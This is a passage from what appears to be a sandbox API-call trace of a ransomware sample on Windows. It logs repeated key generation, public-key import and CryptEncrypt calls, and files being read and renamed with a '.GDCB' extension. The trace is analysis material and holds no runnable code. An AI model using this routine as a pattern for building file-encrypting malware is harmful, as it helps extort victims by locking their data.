0x74c90000 [0286.432] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.432] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0286.432] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.432] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0286.435] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.437] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.437] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0286.437] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.438] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0286.441] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x67a8130) returned 1 [0286.441] CryptGetKeyParam (in: hKey=0x67a8130, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0286.441] CryptEncrypt (in: hKey=0x67a8130, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd240000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0xd240000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0286.441] GetLastError () returned 0x0 [0286.441] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.441] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0286.443] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x67a85f0) returned 1 [0286.443] CryptGetKeyParam (in: hKey=0x67a85f0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0286.443] CryptEncrypt (in: hKey=0x67a85f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd250000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0xd250000*, pdwDataLen=0x285d630*=0x100) returned 1 [0286.443] GetLastError () returned 0x0 [0286.443] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.443] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\3295484897\\2504515037.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\ac\\microsoft\\windows\\3295484897\\2504515037.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0286.444] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd260000 [0286.448] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd270000 [0286.450] ReadFile (in: hFile=0x454, lpBuffer=0xd270000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0xd270000*, lpNumberOfBytesRead=0x285d670*=0xb068, lpOverlapped=0x0) returned 1 [0286.458] VirtualAlloc (lpAddress=0x0, dwSize=0xb070, flAllocationType=0x3000, flProtect=0x4) returned 0xd380000 [0286.464] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\3295484897\\2504515037.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\ac\\microsoft\\windows\\3295484897\\2504515037.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\3295484897\\2504515037.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\ac\\microsoft\\windows\\3295484897\\2504515037.pri.gdcb")) returned 1 [0286.470] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0286.474] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.476] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.476] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0286.476] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.476] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0286.480] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.482] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.482] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0286.482] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.483] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0286.485] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x67a82f0) returned 1 [0286.485] CryptGetKeyParam (in: hKey=0x67a82f0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0286.485] CryptEncrypt (in: hKey=0x67a82f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd240000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0xd240000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0286.485] GetLastError () returned 0x0 [0286.485] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.485] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0286.487] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x67a8e70) returned 1 [0286.487] CryptGetKeyParam (in: hKey=0x67a8e70, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0286.487] CryptEncrypt (in: hKey=0x67a8e70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd250000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0xd250000*, pdwDataLen=0x285d630*=0x100) returned 1 [0286.487] GetLastError () returned 0x0 [0286.487] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0286.487] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\3375042201\\1858609885.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\ac\\microsoft\\windows\\3375042201\\1858609885.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0286.489] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd260000 [0286.492] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd270000 [0286.494] ReadFile (in: hFile=0x454, lpBuffer=0xd270000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0xd270000*, lpNumberOfBytesRead=0x285d670*=0x7ee0, lpOverlapped=0x0) returned 1 [0286.531] VirtualAlloc (lpAddress=0x0, dwSize=0x7ee0, flAllocationType=0x3000, flProtect=0x4) returned 0xd380000 [0286.539] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\3375042201\\1858609885.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\ac\\microsoft\\windows\\3375042201\\1858609885.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\3375042201\\1858609885.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\ac\\microsoft\\windows\\3375042201\\1858609885.pri.gdcb")) returned 1 [0286.544] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0286.548] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.550] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.550] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0286.550] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0286.550] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0286.553] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.555] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.555] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0286.555] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0286.555] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0286.558] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x67a8ab0) returned 1 [0286.558] CryptGetKeyParam (in: hKey=0x67a8ab0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0286.558] CryptEncrypt (in: hKey=0x67a8ab0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd240000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0xd240000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0286.558] GetLastError () returned 0x0 [0286.558] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0286.558] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0286.560] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x67a8970) returned 1 [0286.560] CryptGetKeyParam (in: hKey=0x67a8970, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0286.560] CryptEncrypt (in: hKey=0x67a8970, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd250000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0xd250000*, pdwDataLen=0x285d630*=0x100) returned 1 [0286.560] GetLastError () returned 0x0 [0286.560] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.560] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\3530508098\\2495906576.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\ac\\microsoft\\windows\\3530508098\\2495906576.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0286.561] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd260000 [0286.564] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd270000 [0286.567] ReadFile (in: hFile=0x454, lpBuffer=0xd270000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0xd270000*, lpNumberOfBytesRead=0x285d670*=0x13b60, lpOverlapped=0x0) returned 1 [0286.591] VirtualAlloc (lpAddress=0x0, dwSize=0x13b60, flAllocationType=0x3000, flProtect=0x4) returned 0xd380000 [0286.600] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\3530508098\\2495906576.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\ac\\microsoft\\windows\\3530508098\\2495906576.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\3530508098\\2495906576.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\ac\\microsoft\\windows\\3530508098\\2495906576.pri.gdcb")) returned 1 [0286.613] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0286.617] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.619] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.619] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0286.619] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.619] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0286.622] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.624] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.624] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0286.624] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.624] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0286.627] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67a85b0) returned 1 [0286.627] CryptGetKeyParam (in: hKey=0x67a85b0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0286.627] CryptEncrypt (in: hKey=0x67a85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd240000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd240000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0286.627] GetLastError () returned 0x0 [0286.627] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0286.627] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0286.629] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67a87b0) returned 1 [0286.629] CryptGetKeyParam (in: hKey=0x67a87b0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0286.629] CryptEncrypt (in: hKey=0x67a87b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd250000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd250000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0286.629] GetLastError () returned 0x0 [0286.629] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.629] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0286.635] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4980) returned 1 [0286.639] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.641] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.641] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0286.641] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0286.641] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4e48) returned 1 [0286.644] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.647] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.647] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0286.647] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0286.647] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0286.649] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67a8170) returned 1 [0286.650] CryptGetKeyParam (in: hKey=0x67a8170, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0286.650] CryptEncrypt (in: hKey=0x67a8170, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd260000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd260000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0286.650] GetLastError () returned 0x0 [0286.650] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0286.650] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0286.652] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67a88f0) returned 1 [0286.652] CryptGetKeyParam (in: hKey=0x67a88f0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0286.652] CryptEncrypt (in: hKey=0x67a88f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd270000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd270000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0286.652] GetLastError () returned 0x0 [0286.652] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.652] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\TempState\\TileCache_100_0_Data.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\tempstate\\tilecache_100_0_data.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0286.655] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0286.658] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.661] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.681] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0286.681] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.681] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0286.684] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.687] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.687] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0286.687] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.687] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0286.689] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67a8b70) returned 1 [0286.689] CryptGetKeyParam (in: hKey=0x67a8b70, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0286.689] CryptEncrypt (in: hKey=0x67a8b70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd280000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd280000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0286.690] GetLastError () returned 0x0 [0286.690] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.690] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0286.692] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67a9070) returned 1 [0286.692] CryptGetKeyParam (in: hKey=0x67a9070, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0286.692] CryptEncrypt (in: hKey=0x67a9070, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd290000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd290000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0286.692] GetLastError () returned 0x0 [0286.692] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.692] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\TempState\\TileCache_100_0_Header.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\tempstate\\tilecache_100_0_header.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0286.748] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, 